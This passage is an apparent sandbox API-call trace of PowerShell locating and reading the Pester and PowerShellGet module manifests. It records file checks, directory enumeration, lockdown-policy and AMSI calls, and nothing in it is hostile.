lpOldMode=0x99aeaec) returned 1 [0114.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x99aeb68 | out: lpFileInformation=0x99aeb68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc16c15e, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xbc16c15e, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xbc16c15e, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0114.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeae8) returned 1 [0114.092] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x105, lpBuffer=0x99ae5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0114.092] CoTaskMemAlloc (cb=0x20c) returned 0x8e551d8 [0114.092] GetSystemDirectoryW (in: lpBuffer=0x8e551d8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0114.092] CoTaskMemFree (pv=0x8e551d8) [0114.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae4bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0114.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x99ae538, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0114.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae998) returned 1 [0114.092] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x99aea14 | out: lpFileInformation=0x99aea14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0114.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae994) returned 1 [0114.092] WldpGetLockdownPolicy () returned 0x0 [0114.092] GetSystemInfo (in: lpSystemInfo=0x99aea40 | out: lpSystemInfo=0x99aea40*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0114.092] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae9cc | out: phkResult=0x99ae9cc*=0x84c) returned 0x0 [0114.092] RegQueryValueExW (in: hKey=0x84c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae9e8, lpData=0x0, lpcbData=0x99ae9e4*=0x0 | out: lpType=0x99ae9e8*=0x0, lpData=0x0, lpcbData=0x99ae9e4*=0x0) returned 0x2 [0114.092] RegCloseKey (hKey=0x84c) returned 0x0 [0114.092] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x105, lpBuffer=0x99ae4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0114.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9c4) returned 1 [0114.092] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0114.093] GetFileType (hFile=0x84c) returned 0x1 [0114.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae9c0) returned 1 [0114.093] GetFileType (hFile=0x84c) returned 0x1 [0114.093] SetFilePointer (in: hFile=0x84c, lDistanceToMove=0, lpDistanceToMoveHigh=0x99aea08*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99aea08*=0) returned 0x0 [0114.093] ReadFile (in: hFile=0x84c, lpBuffer=0x66f8e60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99aea34, lpOverlapped=0x0 | out: lpBuffer=0x66f8e60*, lpNumberOfBytesRead=0x99aea34*=0x1000, lpOverlapped=0x0) returned 1 [0114.114] SetFilePointer (in: hFile=0x84c, lDistanceToMove=0, lpDistanceToMoveHigh=0x99aea08*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99aea08*=0) returned 0x1000 [0114.114] ReadFile (in: hFile=0x84c, lpBuffer=0x66f8e60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99aea34, lpOverlapped=0x0 | out: lpBuffer=0x66f8e60*, lpNumberOfBytesRead=0x99aea34*=0x1000, lpOverlapped=0x0) returned 1 [0114.206] SetFilePointer (in: hFile=0x84c, lDistanceToMove=0, lpDistanceToMoveHigh=0x99aea08*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99aea08*=0) returned 0x2000 [0114.206] ReadFile (in: hFile=0x84c, lpBuffer=0x66f8e60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99aea34, lpOverlapped=0x0 | out: lpBuffer=0x66f8e60*, lpNumberOfBytesRead=0x99aea34*=0x1000, lpOverlapped=0x0) returned 1 [0114.206] SetFilePointer (in: hFile=0x84c, lDistanceToMove=0, lpDistanceToMoveHigh=0x99aea08*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99aea08*=0) returned 0x3000 [0114.206] ReadFile (in: hFile=0x84c, lpBuffer=0x66f8e60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99aea34, lpOverlapped=0x0 | out: lpBuffer=0x66f8e60*, lpNumberOfBytesRead=0x99aea34*=0x5e5, lpOverlapped=0x0) returned 1 [0114.207] SetFilePointer (in: hFile=0x84c, lDistanceToMove=0, lpDistanceToMoveHigh=0x99aea08*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99aea08*=0) returned 0x35e5 [0114.207] ReadFile (in: hFile=0x84c, lpBuffer=0x66f83e5, nNumberOfBytesToRead=0x21b, lpNumberOfBytesRead=0x99aea34, lpOverlapped=0x0 | out: lpBuffer=0x66f83e5*, lpNumberOfBytesRead=0x99aea34*=0x0, lpOverlapped=0x0) returned 1 [0114.207] SetFilePointer (in: hFile=0x84c, lDistanceToMove=0, lpDistanceToMoveHigh=0x99aea08*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99aea08*=0) returned 0x35e5 [0114.207] ReadFile (in: hFile=0x84c, lpBuffer=0x66f8e60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99aea34, lpOverlapped=0x0 | out: lpBuffer=0x66f8e60*, lpNumberOfBytesRead=0x99aea34*=0x0, lpOverlapped=0x0) returned 1 [0114.207] CoTaskMemAlloc (cb=0x20c) returned 0x8e54098 [0114.207] GetSystemDirectoryW (in: lpBuffer=0x8e54098, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0114.207] CoTaskMemFree (pv=0x8e54098) [0114.207] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae49c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0114.207] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x99ae518, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0114.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae978) returned 1 [0114.207] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x99ae9f4 | out: lpFileInformation=0x99ae9f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0114.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae974) returned 1 [0114.207] WldpGetLockdownPolicy () returned 0x0 [0114.207] GetSystemInfo (in: lpSystemInfo=0x99aea20 | out: lpSystemInfo=0x99aea20*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0114.208] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae9ac | out: phkResult=0x99ae9ac*=0x81c) returned 0x0 [0114.208] RegQueryValueExW (in: hKey=0x81c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae9c8, lpData=0x0, lpcbData=0x99ae9c4*=0x0 | out: lpType=0x99ae9c8*=0x0, lpData=0x0, lpcbData=0x99ae9c4*=0x0) returned 0x2 [0114.208] RegCloseKey (hKey=0x81c) returned 0x0 [0114.208] CloseHandle (hObject=0x84c) returned 1 [0114.209] CoCreateGuid (in: pguid=0x99aea8c | out: pguid=0x99aea8c*(Data1=0x7807c0d8, Data2=0xb48b, Data3=0x4ae7, Data4=([0]=0x96, [1]=0x83, [2]=0xfd, [3]=0xde, [4]=0x80, [5]=0xcb, [6]=0xb6, [7]=0x89))) returned 0x0 [0114.209] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x105, lpBuffer=0x99ae5d8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0114.209] AmsiScanString () returned 0x80070015 [0114.214] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x105, lpBuffer=0x99ae38c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x49 [0114.215] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.psd1")) returned 0xffffffff [0114.215] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.psm1")) returned 0xffffffff [0114.216] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.cdxml")) returned 0xffffffff [0114.216] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.xaml")) returned 0xffffffff [0114.216] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\Pester.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\pester.dll")) returned 0xffffffff [0114.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.216] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x105, lpBuffer=0x99ae600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0114.216] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\", nBufferLength=0x105, lpBuffer=0x99ae5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\", lpFilePart=0x0) returned 0x3f [0114.216] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e35210 [0114.217] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.217] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.217] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.218] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.218] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.218] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.218] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0114.218] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.219] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x105, lpBuffer=0x99ae600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0114.219] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\", nBufferLength=0x105, lpBuffer=0x99ae5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\", lpFilePart=0x0) returned 0x3f [0114.219] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e353d0 [0114.219] FindNextFileW (in: hFindFile=0x8e353d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.219] FindNextFileW (in: hFindFile=0x8e353d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.220] FindNextFileW (in: hFindFile=0x8e353d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.220] FindNextFileW (in: hFindFile=0x8e353d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.220] FindNextFileW (in: hFindFile=0x8e353d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.220] FindNextFileW (in: hFindFile=0x8e353d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.220] FindNextFileW (in: hFindFile=0x8e353d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0114.220] FindClose (in: hFindFile=0x8e353d0 | out: hFindFile=0x8e353d0) returned 1 [0114.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.221] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x105, lpBuffer=0x99ae66c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0114.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.221] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x99aeb44 | out: lpFileInformation=0x99aeb44*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x2d03182d, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0xfb05b0f0, ftLastAccessTime.dwHighDateTime=0x1d0bb11, ftLastWriteTime.dwLowDateTime=0xfb05b0f0, ftLastWriteTime.dwHighDateTime=0x1d0bb11, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0114.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.221] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x105, lpBuffer=0x99ae64c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0114.221] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\", nBufferLength=0x105, lpBuffer=0x99ae620, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\", lpFilePart=0x0) returned 0x3f [0114.221] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x99ae86c | out: lpFindFileData=0x99ae86c) returned 0x8e35250 [0114.222] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.222] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.222] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.222] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.222] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.223] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.223] FindNextFileW (in: hFindFile=0x8e35250, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 0 [0114.223] FindClose (in: hFindFile=0x8e35250 | out: hFindFile=0x8e35250) returned 1 [0114.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.224] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0x20 [0114.234] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x105, lpBuffer=0x99ae764, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0114.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aebc0) returned 1 [0114.235] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules"), fInfoLevelId=0x0, lpFileInformation=0x99aec3c | out: lpFileInformation=0x99aec3c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x2d00b5ca, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x2d03182d, ftLastAccessTime.dwHighDateTime=0x1d0bb00, ftLastWriteTime.dwLowDateTime=0x2d03182d, ftLastWriteTime.dwHighDateTime=0x1d0bb00, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0114.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aebbc) returned 1 [0114.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec3c) returned 1 [0114.235] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x105, lpBuffer=0x99ae744, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0114.235] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\", nBufferLength=0x105, lpBuffer=0x99ae718, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\", lpFilePart=0x0) returned 0x31 [0114.235] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x99ae964 | out: lpFindFileData=0x99ae964) returned 0x8e35210 [0114.235] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae974 | out: lpFindFileData=0x99ae974) returned 1 [0114.235] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae974 | out: lpFindFileData=0x99ae974) returned 1 [0114.235] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae974 | out: lpFindFileData=0x99ae974) returned 1 [0114.235] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae974 | out: lpFindFileData=0x99ae974) returned 1 [0114.236] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae974 | out: lpFindFileData=0x99ae974) returned 0 [0114.236] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aebfc) returned 1 [0114.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0114.236] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0114.236] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0114.236] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0114.236] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0114.236] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0114.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aebf0) returned 1 [0114.236] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", nBufferLength=0x105, lpBuffer=0x99ae6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpFilePart=0x0) returned 0x33 [0114.236] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", nBufferLength=0x105, lpBuffer=0x99ae6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpFilePart=0x0) returned 0x33 [0114.236] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x99ae918 | out: lpFindFileData=0x99ae918) returned 0x8e35210 [0114.237] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.237] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.237] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.237] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.237] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.237] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.238] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.238] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.238] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.238] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.238] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.238] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.238] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.238] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.238] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.239] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.239] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.239] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.239] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.239] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.239] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.239] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.239] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.239] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.239] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.240] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0114.240] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae928 | out: 